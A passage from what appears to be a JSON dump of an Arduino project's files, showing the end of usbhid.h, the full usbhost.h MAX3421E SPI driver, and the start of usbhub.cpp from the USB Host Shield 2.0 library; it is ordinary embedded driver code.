HID requests */\n#define bmREQ_HID_OUT                           USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_INTERFACE\n#define bmREQ_HID_IN                            USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_INTERFACE\n#define bmREQ_HID_REPORT                        USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_STANDARD|USB_SETUP_RECIPIENT_INTERFACE\n\n/* HID constants. Not part of chapter 9 */\n/* Class-Specific Requests */\n#define HID_REQUEST_GET_REPORT                  0x01\n#define HID_REQUEST_GET_IDLE                    0x02\n#define HID_REQUEST_GET_PROTOCOL                0x03\n#define HID_REQUEST_SET_REPORT                  0x09\n#define HID_REQUEST_SET_IDLE                    0x0A\n#define HID_REQUEST_SET_PROTOCOL                0x0B\n\n/* Class Descriptor Types */\n#define HID_DESCRIPTOR_HID                      0x21\n#define HID_DESCRIPTOR_REPORT                   0x22\n#define HID_DESRIPTOR_PHY                       0x23\n\n/* Protocol Selection */\n#define USB_HID_BOOT_PROTOCOL                   0x00\n#define HID_RPT_PROTOCOL                        0x01\n\n/* HID Interface Class Code */\n#define HID_INTF                                0x03\n\n/* HID Interface Class SubClass Codes */\n#define HID_BOOT_INTF_SUBCLASS                  0x01\n\n/* HID Interface Class Protocol Codes */\n#define USB_HID_PROTOCOL_NONE                       0x00\n#define USB_HID_PROTOCOL_KEYBOARD                   0x01\n#define USB_HID_PROTOCOL_MOUSE                      0x02\n\n#define HID_ITEM_TYPE_MAIN                      0\n#define HID_ITEM_TYPE_GLOBAL                    1\n#define HID_ITEM_TYPE_LOCAL                     2\n#define HID_ITEM_TYPE_RESERVED                  3\n\n#define HID_LONG_ITEM_PREFIX                    0xfe    // Long item prefix value\n\n#define bmHID_MAIN_ITEM_TAG                     0xfc    // Main item tag mask\n\n#define bmHID_MAIN_ITEM_INPUT                   0x80    // Main item Input tag value\n#define bmHID_MAIN_ITEM_OUTPUT                  0x90    // Main item Output tag value\n#define bmHID_MAIN_ITEM_FEATURE                 0xb0    // Main item Feature tag value\n#define bmHID_MAIN_ITEM_COLLECTION              0xa0    // Main item Collection tag value\n#define bmHID_MAIN_ITEM_END_COLLECTION          0xce    // Main item End Collection tag value\n\n#define HID_MAIN_ITEM_COLLECTION_PHYSICAL       0\n#define HID_MAIN_ITEM_COLLECTION_APPLICATION    1\n#define HID_MAIN_ITEM_COLLECTION_LOGICAL        2\n#define HID_MAIN_ITEM_COLLECTION_REPORT         3\n#define HID_MAIN_ITEM_COLLECTION_NAMED_ARRAY    4\n#define HID_MAIN_ITEM_COLLECTION_USAGE_SWITCH   5\n#define HID_MAIN_ITEM_COLLECTION_USAGE_MODIFIER 6\n\nstruct HidItemPrefix {\n        uint8_t bSize : 2;\n        uint8_t bType : 2;\n        uint8_t bTag : 4;\n};\n\nstruct MainItemIOFeature {\n        uint8_t bmIsConstantOrData : 1;\n        uint8_t bmIsArrayOrVariable : 1;\n        uint8_t bmIsRelativeOrAbsolute : 1;\n        uint8_t bmIsWrapOrNoWrap : 1;\n        uint8_t bmIsNonLonearOrLinear : 1;\n        uint8_t bmIsNoPreferedOrPrefered : 1;\n        uint8_t bmIsNullOrNoNull : 1;\n        uint8_t bmIsVolatileOrNonVolatile : 1;\n};\n\nclass USBHID;\n\nclass HIDReportParser {\npublic:\n        virtual void Parse(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf) = 0;\n};\n\nclass USBHID : public USBDeviceConfig, public UsbConfigXtracter {\nprotected:\n        USB *pUsb; // USB class instance pointer\n        uint8_t bAddress; // address\n\nprotected:\n        static const uint8_t epInterruptInIndex = 1; // InterruptIN  endpoint index\n        static const uint8_t epInterruptOutIndex = 2; // InterruptOUT endpoint index\n\n        static const uint8_t maxHidInterfaces = 3;\n        static const uint8_t maxEpPerInterface = 2;\n        static const uint8_t totalEndpoints = (maxHidInterfaces * maxEpPerInterface + 1);\n\n        void PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr);\n        void PrintHidDescriptor(const USB_HID_DESCRIPTOR *pDesc);\n\n        virtual HIDReportParser* GetReportParser(uint8_t id __attribute__((unused))) {\n                return NULL;\n        };\n\npublic:\n\n        USBHID(USB *pusb) : pUsb(pusb) {\n        };\n\n        const USB* GetUsb() {\n                return pUsb;\n        };\n\n        virtual bool SetReportParser(uint8_t id __attribute__((unused)), HIDReportParser *prs __attribute__((unused))) {\n                return false;\n        };\n\n        uint8_t SetProtocol(uint8_t iface, uint8_t protocol);\n        uint8_t GetProtocol(uint8_t iface, uint8_t* dataptr);\n        uint8_t GetIdle(uint8_t iface, uint8_t reportID, uint8_t* dataptr);\n        uint8_t SetIdle(uint8_t iface, uint8_t reportID, uint8_t duration);\n\n        uint8_t GetReportDescr(uint16_t wIndex, USBReadParser *parser = NULL);\n\n        uint8_t GetHidDescr(uint8_t ep, uint16_t nbytes, uint8_t* dataptr);\n        uint8_t GetReport(uint8_t ep, uint8_t iface, uint8_t report_type, uint8_t report_id, uint16_t nbytes, uint8_t* dataptr);\n        uint8_t SetReport(uint8_t ep, uint8_t iface, uint8_t report_type, uint8_t report_id, uint16_t nbytes, uint8_t* dataptr);\n};\n\n#endif // __USBHID_H__\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/usbhost.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n/* MAX3421E-based USB Host Library header file */\n\n\n#if !defined(_usb_h_) || defined(_USBHOST_H_)\n#error \"Never include usbhost.h directly; include Usb.h instead\"\n#else\n#define _USBHOST_H_\n\n#if USING_SPI4TEENSY3\n#include <spi4teensy3.h>\n#include <sys/types.h>\n#endif\n\n/* SPI initialization */\ntemplate< typename SPI_CLK, typename SPI_MOSI, typename SPI_MISO, typename SPI_SS > class SPi {\npublic:\n#if USING_SPI4TEENSY3\n        static void init() {\n                // spi4teensy3 inits everything for us, except /SS\n                // CLK, MOSI and MISO are hard coded for now.\n                // spi4teensy3::init(0,0,0); // full speed, cpol 0, cpha 0\n                spi4teensy3::init(); // full speed, cpol 0, cpha 0\n                SPI_SS::SetDirWrite();\n                SPI_SS::Set();\n        }\n#elif defined(SPI_HAS_TRANSACTION)\n        static void init() {\n                USB_SPI.begin(); // The SPI library with transaction will take care of setting up the pins - settings is set in beginTransaction()\n                SPI_SS::SetDirWrite();\n                SPI_SS::Set();\n        }\n#elif defined(STM32F4)\n#warning \"You need to initialize the SPI interface manually when using the STM32F4 platform\"\n        static void init() {\n                // Should be initialized by the user manually for now\n        }\n#elif !defined(SPDR)\n        static void init() {\n                SPI_SS::SetDirWrite();\n                SPI_SS::Set();\n                USB_SPI.begin();\n#if defined(__MIPSEL__)\n                USB_SPI.setClockDivider(1);\n#elif defined(__ARDUINO_X86__)\n                #ifdef SPI_CLOCK_1M // Hack used to check if setClockSpeed is available\n                    USB_SPI.setClockSpeed(12000000); // The MAX3421E can handle up to 26MHz, but in practice this was the maximum that I could reliably use\n                #else\n                    USB_SPI.setClockDivider(SPI_CLOCK_DIV2); // This will set the SPI frequency to 8MHz - it could be higher, but it is not supported in the old API\n                #endif\n#elif !defined(RBL_NRF51822)\n                USB_SPI.setClockDivider(4); // Set speed to 84MHz/4=21MHz - the MAX3421E can handle up to 26MHz\n#endif\n        }\n#else\n        static void init() {\n                //uint8_t tmp;\n                SPI_CLK::SetDirWrite();\n                SPI_MOSI::SetDirWrite();\n                SPI_MISO::SetDirRead();\n                SPI_SS::SetDirWrite();\n                /* mode 00 (CPOL=0, CPHA=0) master, fclk/2. Mode 11 (CPOL=11, CPHA=11) is also supported by MAX3421E */\n                SPCR = 0x50;\n                SPSR = 0x01; // 0x01\n                /**/\n                //tmp = SPSR;\n                //tmp = SPDR;\n        }\n#endif\n};\n\n/* SPI pin definitions. see avrpins.h   */\n#if defined(PIN_SPI_SCK) && defined(PIN_SPI_MOSI) && defined(PIN_SPI_MISO) && defined(PIN_SPI_SS)\n// Use pin defines: https://github.com/arduino/Arduino/pull/4814\n// Based on: https://www.mikeash.com/pyblog/friday-qa-2015-03-20-preprocessor-abuse-and-optional-parentheses.html\n#define NOTHING_EXTRACT\n#define EXTRACT(...) EXTRACT __VA_ARGS__\n#define PASTE(x, ...) x ## __VA_ARGS__\n#define EVALUATING_PASTE(x, ...) PASTE(x, __VA_ARGS__)\n#define UNPAREN(x) EVALUATING_PASTE(NOTHING_, EXTRACT x)\n#define APPEND_PIN(pin) P ## pin // Appends the pin to 'P', e.g. 1 becomes P1\n#define MAKE_PIN(x) EVALUATING_PASTE(APPEND_, PIN(UNPAREN(x)))\ntypedef SPi< MAKE_PIN(PIN_SPI_SCK), MAKE_PIN(PIN_SPI_MOSI), MAKE_PIN(PIN_SPI_MISO), MAKE_PIN(PIN_SPI_SS) > spi;\n#undef MAKE_PIN\n#elif defined(__AVR_ATmega1280__) || (__AVR_ATmega2560__) || defined(__AVR_ATmega32U4__) || defined(__AVR_AT90USB646__) || defined(__AVR_AT90USB1286__)\ntypedef SPi< Pb1, Pb2, Pb3, Pb0 > spi;\n#elif  defined(__AVR_ATmega168__) || defined(__AVR_ATmega328P__)\ntypedef SPi< Pb5, Pb3, Pb4, Pb2 > spi;\n#elif defined(__AVR_ATmega644__) || defined(__AVR_ATmega644P__) || defined(__AVR_ATmega1284__) || defined(__AVR_ATmega1284P__)\ntypedef SPi< Pb7, Pb5, Pb6, Pb4 > spi;\n#elif (defined(CORE_TEENSY) && (defined(__MK20DX128__) || defined(__MK20DX256__) || defined(__MK64FX512__) || defined(__MK66FX1M0__) || defined(__MKL26Z64__))) || defined(__ARDUINO_ARC__) || defined(__ARDUINO_X86__) || defined(__MIPSEL__) || defined(STM32F4)\ntypedef SPi< P13, P11, P12, P10 > spi;\n#elif defined(ARDUINO_SAM_DUE) && defined(__SAM3X8E__)\ntypedef SPi< P76, P75, P74, P10 > spi;\n#elif defined(RBL_NRF51822)\ntypedef SPi< P16, P18, P17, P10 > spi;\n#elif defined(ESP8266)\ntypedef SPi< P14, P13, P12, P15 > spi;\n#elif defined(ESP32)\ntypedef SPi< P18, P23, P19, P5 > spi;\n#else\n#error \"No SPI entry in usbhost.h\"\n#endif\n\ntypedef enum {\n        vbus_on = 0,\n        vbus_off = GPX_VBDET\n} VBUS_t;\n\ntemplate< typename SPI_SS, typename INTR > class MAX3421e /* : public spi */ {\n        static uint8_t vbusState;\n\npublic:\n        MAX3421e();\n        void regWr(uint8_t reg, uint8_t data);\n        uint8_t* bytesWr(uint8_t reg, uint8_t nbytes, uint8_t* data_p);\n        void gpioWr(uint8_t data);\n        uint8_t regRd(uint8_t reg);\n        uint8_t* bytesRd(uint8_t reg, uint8_t nbytes, uint8_t* data_p);\n        uint8_t gpioRd();\n        uint16_t reset();\n        int8_t Init();\n        int8_t Init(int mseconds);\n\n        void vbusPower(VBUS_t state) {\n                regWr(rPINCTL, (bmFDUPSPI | bmINTLEVEL | state));\n        }\n\n        uint8_t getVbusState(void) {\n                return vbusState;\n        };\n        void busprobe();\n        uint8_t GpxHandler();\n        uint8_t IntHandler();\n        uint8_t Task();\n};\n\ntemplate< typename SPI_SS, typename INTR >\n        uint8_t MAX3421e< SPI_SS, INTR >::vbusState = 0;\n\n/* constructor */\ntemplate< typename SPI_SS, typename INTR >\nMAX3421e< SPI_SS, INTR >::MAX3421e() {\n        // Leaving ADK hardware setup in here, for now. This really belongs with the other parts.\n#ifdef BOARD_MEGA_ADK\n        // For Mega ADK, which has a Max3421e on-board, set MAX_RESET to output mode, and then set it to HIGH\n        P55::SetDirWrite();\n        P55::Set();\n#endif\n};\n\n/* write single byte into MAX3421 register */\ntemplate< typename SPI_SS, typename INTR >\nvoid MAX3421e< SPI_SS, INTR >::regWr(uint8_t reg, uint8_t data) {\n        XMEM_ACQUIRE_SPI();\n#if defined(SPI_HAS_TRANSACTION)\n        USB_SPI.beginTransaction(SPISettings(26000000, MSBFIRST, SPI_MODE0)); // The MAX3421E can handle up to 26MHz, use MSB First and SPI mode 0\n#endif\n        SPI_SS::Clear();\n\n#if USING_SPI4TEENSY3\n        uint8_t c[2];\n        c[0] = reg | 0x02;\n        c[1] = data;\n        spi4teensy3::send(c, 2);\n#elif defined(SPI_HAS_TRANSACTION) && !defined(ESP8266) && !defined(ESP32)\n        uint8_t c[2];\n        c[0] = reg | 0x02;\n        c[1] = data;\n        USB_SPI.transfer(c, 2);\n#elif defined(STM32F4)\n        uint8_t c[2];\n        c[0] = reg | 0x02;\n        c[1] = data;\n        HAL_SPI_Transmit(&SPI_Handle, c, 2, HAL_MAX_DELAY);\n#elif !defined(SPDR) // ESP8266, ESP32\n        USB_SPI.transfer(reg | 0x02);\n        USB_SPI.transfer(data);\n#else\n        SPDR = (reg | 0x02);\n        while(!(SPSR & (1 << SPIF)));\n        SPDR = data;\n        while(!(SPSR & (1 << SPIF)));\n#endif\n\n        SPI_SS::Set();\n#if defined(SPI_HAS_TRANSACTION)\n        USB_SPI.endTransaction();\n#endif\n        XMEM_RELEASE_SPI();\n        return;\n};\n/* multiple-byte write                            */\n\n/* returns a pointer to memory position after last written */\ntemplate< typename SPI_SS, typename INTR >\nuint8_t* MAX3421e< SPI_SS, INTR >::bytesWr(uint8_t reg, uint8_t nbytes, uint8_t* data_p) {\n        XMEM_ACQUIRE_SPI();\n#if defined(SPI_HAS_TRANSACTION)\n        USB_SPI.beginTransaction(SPISettings(26000000, MSBFIRST, SPI_MODE0)); // The MAX3421E can handle up to 26MHz, use MSB First and SPI mode 0\n#endif\n        SPI_SS::Clear();\n\n#if USING_SPI4TEENSY3\n        spi4teensy3::send(reg | 0x02);\n        spi4teensy3::send(data_p, nbytes);\n        data_p += nbytes;\n#elif defined(SPI_HAS_TRANSACTION) && !defined(ESP8266) && !defined(ESP32)\n        USB_SPI.transfer(reg | 0x02);\n        USB_SPI.transfer(data_p, nbytes);\n        data_p += nbytes;\n#elif defined(__ARDUINO_X86__)\n        USB_SPI.transfer(reg | 0x02);\n        USB_SPI.transferBuffer(data_p, NULL, nbytes);\n        data_p += nbytes;\n#elif defined(STM32F4)\n        uint8_t data = reg | 0x02;\n        HAL_SPI_Transmit(&SPI_Handle, &data, 1, HAL_MAX_DELAY);\n        HAL_SPI_Transmit(&SPI_Handle, data_p, nbytes, HAL_MAX_DELAY);\n        data_p += nbytes;\n#elif !defined(SPDR) // ESP8266, ESP32\n        USB_SPI.transfer(reg | 0x02);\n        while(nbytes) {\n                USB_SPI.transfer(*data_p);\n                nbytes--;\n                data_p++; // advance data pointer\n        }\n#else\n        SPDR = (reg | 0x02); //set WR bit and send register number\n        while(nbytes) {\n                while(!(SPSR & (1 << SPIF))); //check if previous byte was sent\n                SPDR = (*data_p); // send next data byte\n                nbytes--;\n                data_p++; // advance data pointer\n        }\n        while(!(SPSR & (1 << SPIF)));\n#endif\n\n        SPI_SS::Set();\n#if defined(SPI_HAS_TRANSACTION)\n        USB_SPI.endTransaction();\n#endif\n        XMEM_RELEASE_SPI();\n        return ( data_p);\n}\n/* GPIO write                                           */\n/*GPIO byte is split between 2 registers, so two writes are needed to write one byte */\n\n/* GPOUT bits are in the low nibble. 0-3 in IOPINS1, 4-7 in IOPINS2 */\ntemplate< typename SPI_SS, typename INTR >\nvoid MAX3421e< SPI_SS, INTR >::gpioWr(uint8_t data) {\n        regWr(rIOPINS1, data);\n        data >>= 4;\n        regWr(rIOPINS2, data);\n        return;\n}\n\n/* single host register read    */\ntemplate< typename SPI_SS, typename INTR >\nuint8_t MAX3421e< SPI_SS, INTR >::regRd(uint8_t reg) {\n        XMEM_ACQUIRE_SPI();\n#if defined(SPI_HAS_TRANSACTION)\n        USB_SPI.beginTransaction(SPISettings(26000000, MSBFIRST, SPI_MODE0)); // The MAX3421E can handle up to 26MHz, use MSB First and SPI mode 0\n#endif\n        SPI_SS::Clear();\n\n#if USING_SPI4TEENSY3\n        spi4teensy3::send(reg);\n        uint8_t rv = spi4teensy3::receive();\n        SPI_SS::Set();\n#elif defined(STM32F4)\n        HAL_SPI_Transmit(&SPI_Handle, &reg, 1, HAL_MAX_DELAY);\n        uint8_t rv = 0;\n        HAL_SPI_Receive(&SPI_Handle, &rv, 1, HAL_MAX_DELAY);\n        SPI_SS::Set();\n#elif !defined(SPDR) || defined(SPI_HAS_TRANSACTION)\n        USB_SPI.transfer(reg);\n        uint8_t rv = USB_SPI.transfer(0); // Send empty byte\n        SPI_SS::Set();\n#else\n        SPDR = reg;\n        while(!(SPSR & (1 << SPIF)));\n        SPDR = 0; // Send empty byte\n        while(!(SPSR & (1 << SPIF)));\n        SPI_SS::Set();\n        uint8_t rv = SPDR;\n#endif\n\n#if defined(SPI_HAS_TRANSACTION)\n        USB_SPI.endTransaction();\n#endif\n        XMEM_RELEASE_SPI();\n        return (rv);\n}\n/* multiple-byte register read  */\n\n/* returns a pointer to a memory position after last read   */\ntemplate< typename SPI_SS, typename INTR >\nuint8_t* MAX3421e< SPI_SS, INTR >::bytesRd(uint8_t reg, uint8_t nbytes, uint8_t* data_p) {\n        XMEM_ACQUIRE_SPI();\n#if defined(SPI_HAS_TRANSACTION)\n        USB_SPI.beginTransaction(SPISettings(26000000, MSBFIRST, SPI_MODE0)); // The MAX3421E can handle up to 26MHz, use MSB First and SPI mode 0\n#endif\n        SPI_SS::Clear();\n\n#if USING_SPI4TEENSY3\n        spi4teensy3::send(reg);\n        spi4teensy3::receive(data_p, nbytes);\n        data_p += nbytes;\n#elif defined(SPI_HAS_TRANSACTION) && !defined(ESP8266) && !defined(ESP32)\n        USB_SPI.transfer(reg);\n        memset(data_p, 0, nbytes); // Make sure we send out empty bytes\n        USB_SPI.transfer(data_p, nbytes);\n        data_p += nbytes;\n#elif defined(__ARDUINO_X86__)\n        USB_SPI.transfer(reg);\n        USB_SPI.transferBuffer(NULL, data_p, nbytes);\n        data_p += nbytes;\n#elif defined(STM32F4)\n        HAL_SPI_Transmit(&SPI_Handle, &reg, 1, HAL_MAX_DELAY);\n        memset(data_p, 0, nbytes); // Make sure we send out empty bytes\n        HAL_SPI_Receive(&SPI_Handle, data_p, nbytes, HAL_MAX_DELAY);\n        data_p += nbytes;\n#elif !defined(SPDR) // ESP8266, ESP32\n        USB_SPI.transfer(reg);\n        while(nbytes) {\n            *data_p++ = USB_SPI.transfer(0);\n            nbytes--;\n        }\n#else\n        SPDR = reg;\n        while(!(SPSR & (1 << SPIF))); //wait\n        while(nbytes) {\n                SPDR = 0; // Send empty byte\n                nbytes--;\n                while(!(SPSR & (1 << SPIF)));\n#if 0\n                {\n                        *data_p = SPDR;\n                        printf(\"%2.2x \", *data_p);\n                }\n                data_p++;\n        }\n        printf(\"\\r\\n\");\n#else\n                *data_p++ = SPDR;\n        }\n#endif\n#endif\n\n        SPI_SS::Set();\n#if defined(SPI_HAS_TRANSACTION)\n        USB_SPI.endTransaction();\n#endif\n        XMEM_RELEASE_SPI();\n        return ( data_p);\n}\n/* GPIO read. See gpioWr for explanation */\n\n/* GPIN pins are in high nibbles of IOPINS1, IOPINS2    */\ntemplate< typename SPI_SS, typename INTR >\nuint8_t MAX3421e< SPI_SS, INTR >::gpioRd() {\n        uint8_t gpin = 0;\n        gpin = regRd(rIOPINS2); //pins 4-7\n        gpin &= 0xf0; //clean lower nibble\n        gpin |= (regRd(rIOPINS1) >> 4); //shift low bits and OR with upper from previous operation.\n        return ( gpin);\n}\n\n/* reset MAX3421E. Returns number of cycles it took for PLL to stabilize after reset\n  or zero if PLL haven't stabilized in 65535 cycles */\ntemplate< typename SPI_SS, typename INTR >\nuint16_t MAX3421e< SPI_SS, INTR >::reset() {\n        uint16_t i = 0;\n        regWr(rUSBCTL, bmCHIPRES);\n        regWr(rUSBCTL, 0x00);\n        while(++i) {\n                if((regRd(rUSBIRQ) & bmOSCOKIRQ)) {\n                        break;\n                }\n        }\n        return ( i);\n}\n\n/* initialize MAX3421E. Set Host mode, pullups, and stuff. Returns 0 if success, -1 if not */\ntemplate< typename SPI_SS, typename INTR >\nint8_t MAX3421e< SPI_SS, INTR >::Init() {\n        XMEM_ACQUIRE_SPI();\n        // Moved here.\n        // you really should not init hardware in the constructor when it involves locks.\n        // Also avoids the vbus flicker issue confusing some devices.\n        /* pin and peripheral setup */\n        SPI_SS::SetDirWrite();\n        SPI_SS::Set();\n        spi::init();\n        INTR::SetDirRead();\n        XMEM_RELEASE_SPI();\n        /* MAX3421E - full-duplex SPI, level interrupt */\n        // GPX pin on. Moved here, otherwise we flicker the vbus.\n        regWr(rPINCTL, (bmFDUPSPI | bmINTLEVEL));\n\n        if(reset() == 0) { //OSCOKIRQ hasn't asserted in time\n                return ( -1);\n        }\n\n        regWr(rMODE, bmDPPULLDN | bmDMPULLDN | bmHOST); // set pull-downs, Host\n\n        regWr(rHIEN, bmCONDETIE | bmFRAMEIE); //connection detection\n\n        /* check if device is connected */\n        regWr(rHCTL, bmSAMPLEBUS); // sample USB bus\n        while(!(regRd(rHCTL) & bmSAMPLEBUS)); //wait for sample operation to finish\n\n        busprobe(); //check if anything is connected\n\n        regWr(rHIRQ, bmCONDETIRQ); //clear connection detect interrupt\n        regWr(rCPUCTL, 0x01); //enable interrupt pin\n\n        return ( 0);\n}\n\n/* initialize MAX3421E. Set Host mode, pullups, and stuff. Returns 0 if success, -1 if not */\ntemplate< typename SPI_SS, typename INTR >\nint8_t MAX3421e< SPI_SS, INTR >::Init(int mseconds) {\n        XMEM_ACQUIRE_SPI();\n        // Moved here.\n        // you really should not init hardware in the constructor when it involves locks.\n        // Also avoids the vbus flicker issue confusing some devices.\n        /* pin and peripheral setup */\n        SPI_SS::SetDirWrite();\n        SPI_SS::Set();\n        spi::init();\n        INTR::SetDirRead();\n        XMEM_RELEASE_SPI();\n        /* MAX3421E - full-duplex SPI, level interrupt, vbus off */\n        regWr(rPINCTL, (bmFDUPSPI | bmINTLEVEL | GPX_VBDET));\n\n        if(reset() == 0) { //OSCOKIRQ hasn't asserted in time\n                return ( -1);\n        }\n\n        // Delay a minimum of 1 second to ensure any capacitors are drained.\n        // 1 second is required to make sure we do not smoke a Microdrive!\n        if(mseconds < 1000) mseconds = 1000;\n        delay(mseconds);\n\n        regWr(rMODE, bmDPPULLDN | bmDMPULLDN | bmHOST); // set pull-downs, Host\n\n        regWr(rHIEN, bmCONDETIE | bmFRAMEIE); //connection detection\n\n        /* check if device is connected */\n        regWr(rHCTL, bmSAMPLEBUS); // sample USB bus\n        while(!(regRd(rHCTL) & bmSAMPLEBUS)); //wait for sample operation to finish\n\n        busprobe(); //check if anything is connected\n\n        regWr(rHIRQ, bmCONDETIRQ); //clear connection detect interrupt\n        regWr(rCPUCTL, 0x01); //enable interrupt pin\n\n        // GPX pin on. This is done here so that busprobe will fail if we have a switch connected.\n        regWr(rPINCTL, (bmFDUPSPI | bmINTLEVEL));\n\n        return ( 0);\n}\n\n/* probe bus to determine device presence and speed and switch host to this speed */\ntemplate< typename SPI_SS, typename INTR >\nvoid MAX3421e< SPI_SS, INTR >::busprobe() {\n        uint8_t bus_sample;\n        bus_sample = regRd(rHRSL); //Get J,K status\n        bus_sample &= (bmJSTATUS | bmKSTATUS); //zero the rest of the byte\n        switch(bus_sample) { //start full-speed or low-speed host\n                case( bmJSTATUS):\n                        if((regRd(rMODE) & bmLOWSPEED) == 0) {\n                                regWr(rMODE, MODE_FS_HOST); //start full-speed host\n                                vbusState = FSHOST;\n                        } else {\n                                regWr(rMODE, MODE_LS_HOST); //start low-speed host\n                                vbusState = LSHOST;\n                        }\n                        break;\n                case( bmKSTATUS):\n                        if((regRd(rMODE) & bmLOWSPEED) == 0) {\n                                regWr(rMODE, MODE_LS_HOST); //start low-speed host\n                                vbusState = LSHOST;\n                        } else {\n                                regWr(rMODE, MODE_FS_HOST); //start full-speed host\n                                vbusState = FSHOST;\n                        }\n                        break;\n                case( bmSE1): //illegal state\n                        vbusState = SE1;\n                        break;\n                case( bmSE0): //disconnected state\n                        regWr(rMODE, bmDPPULLDN | bmDMPULLDN | bmHOST | bmSEPIRQ);\n                        vbusState = SE0;\n                        break;\n        }//end switch( bus_sample )\n}\n\n/* MAX3421 state change task and interrupt handler */\ntemplate< typename SPI_SS, typename INTR >\nuint8_t MAX3421e< SPI_SS, INTR >::Task(void) {\n        uint8_t rcode = 0;\n        uint8_t pinvalue;\n        //USB_HOST_SERIAL.print(\"Vbus state: \");\n        //USB_HOST_SERIAL.println( vbusState, HEX );\n        pinvalue = INTR::IsSet(); //Read();\n        //pinvalue = digitalRead( MAX_INT );\n        if(pinvalue == 0) {\n                rcode = IntHandler();\n        }\n        //    pinvalue = digitalRead( MAX_GPX );\n        //    if( pinvalue == LOW ) {\n        //        GpxHandler();\n        //    }\n        //    usbSM();                                //USB state machine\n        return ( rcode);\n}\n\ntemplate< typename SPI_SS, typename INTR >\nuint8_t MAX3421e< SPI_SS, INTR >::IntHandler() {\n        uint8_t HIRQ;\n        uint8_t HIRQ_sendback = 0x00;\n        HIRQ = regRd(rHIRQ); //determine interrupt source\n        //if( HIRQ & bmFRAMEIRQ ) {               //->1ms SOF interrupt handler\n        //    HIRQ_sendback |= bmFRAMEIRQ;\n        //}//end FRAMEIRQ handling\n        if(HIRQ & bmCONDETIRQ) {\n                busprobe();\n                HIRQ_sendback |= bmCONDETIRQ;\n        }\n        /* End HIRQ interrupts handling, clear serviced IRQs    */\n        regWr(rHIRQ, HIRQ_sendback);\n        return ( HIRQ_sendback);\n}\n//template< typename SPI_SS, typename INTR >\n//uint8_t MAX3421e< SPI_SS, INTR >::GpxHandler()\n//{\n//    uint8_t GPINIRQ = regRd( rGPINIRQ );          //read GPIN IRQ register\n////    if( GPINIRQ & bmGPINIRQ7 ) {            //vbus overload\n////        vbusPwr( OFF );                     //attempt powercycle\n////        delay( 1000 );\n////        vbusPwr( ON );\n////        regWr( rGPINIRQ, bmGPINIRQ7 );\n////    }\n//    return( GPINIRQ );\n//}\n\n#endif // _USBHOST_H_\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/usbhub.cpp",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n#include \"usbhub.h\"\n\nbool USBHub::bResetInitiated = false;\n\nUSBHub::USBHub(USB *p) :\npUsb(p),\nbAddress(0),\nbNbrPorts(0),\n//bInitState(0),\nqNextPollTime(0),\nbPollEnable(false) {\n        epInfo[0].epAddr = 0;\n        epInfo[0].maxPktSize = 8;\n        epInfo[0].bmSndToggle = 0;\n        epInfo[0].bmRcvToggle = 0;\n        epInfo[0].bmNakPower = USB_NAK_MAX_POWER;\n\n        epInfo[1].epAddr = 1;\n        epInfo[1].maxPktSize = 8; //kludge\n        epInfo[1].bmSndToggle = 0;\n        epInfo[1].bmRcvToggle = 0;\n        epInfo[1].bmNakPower = USB_NAK_NOWAIT;\n\n        if(pUsb)\n                pUsb->RegisterDeviceClass(this);\n}\n\nuint8_t USBHub::Init(uint8_t parent, uint8_t port, bool lowspeed) {\n        uint8_t buf[32];\n        USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast<USB_DEVICE_DESCRIPTOR*>(buf);\n        HubDescriptor* hd = reinterpret_cast<HubDescriptor*>(buf);\n        USB_CONFIGURATION_DESCRIPTOR * ucd = reinterpret_cast<USB_CONFIGURATION_DESCRIPTOR*>(buf);\n        uint8_t rcode;\n        UsbDevice *p = NULL;\n        EpInfo *oldep_ptr = NULL;\n        uint8_t len = 0;\n        uint16_t cd_len = 0;\n\n        //USBTRACE(\"\\r\\nHub Init Start \");\n        //D_PrintHex<uint8_t > (bInitState, 0x80);\n\n        AddressPool &addrPool = pUsb->GetAddressPool();\n\n        //switch (bInitState) {\n        //        case 0:\n        if(bAddress)\n                return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE;\n\n        // Get pointer to pseudo device with address 0 assigned\n        p = addrPool.GetUsbDevicePtr(0);\n\n        if(!p)\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n\n        if(!p->epinfo)\n                return USB_ERROR_EPINFO_IS_NULL;\n\n        // Save old pointer to EP_RECORD of address 0\n        oldep_ptr = p->epinfo;\n\n        // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence\n        p->epinfo = epInfo;\n\n        p->lowspeed = lowspeed;\n\n        // Get device descriptor\n        rcode = pUsb->getDevDescr(0, 0, 8, (uint8_t*)buf);\n\n        p->lowspeed = false;\n\n        if(!rcode)\n                len = (buf[0] > 32) ? 32 : buf[0];\n\n        if(rcode) {\n                // Restore p->epinfo\n                p->epinfo = oldep_ptr;\n                return rcode;\n        }\n\n        // Extract device class from device 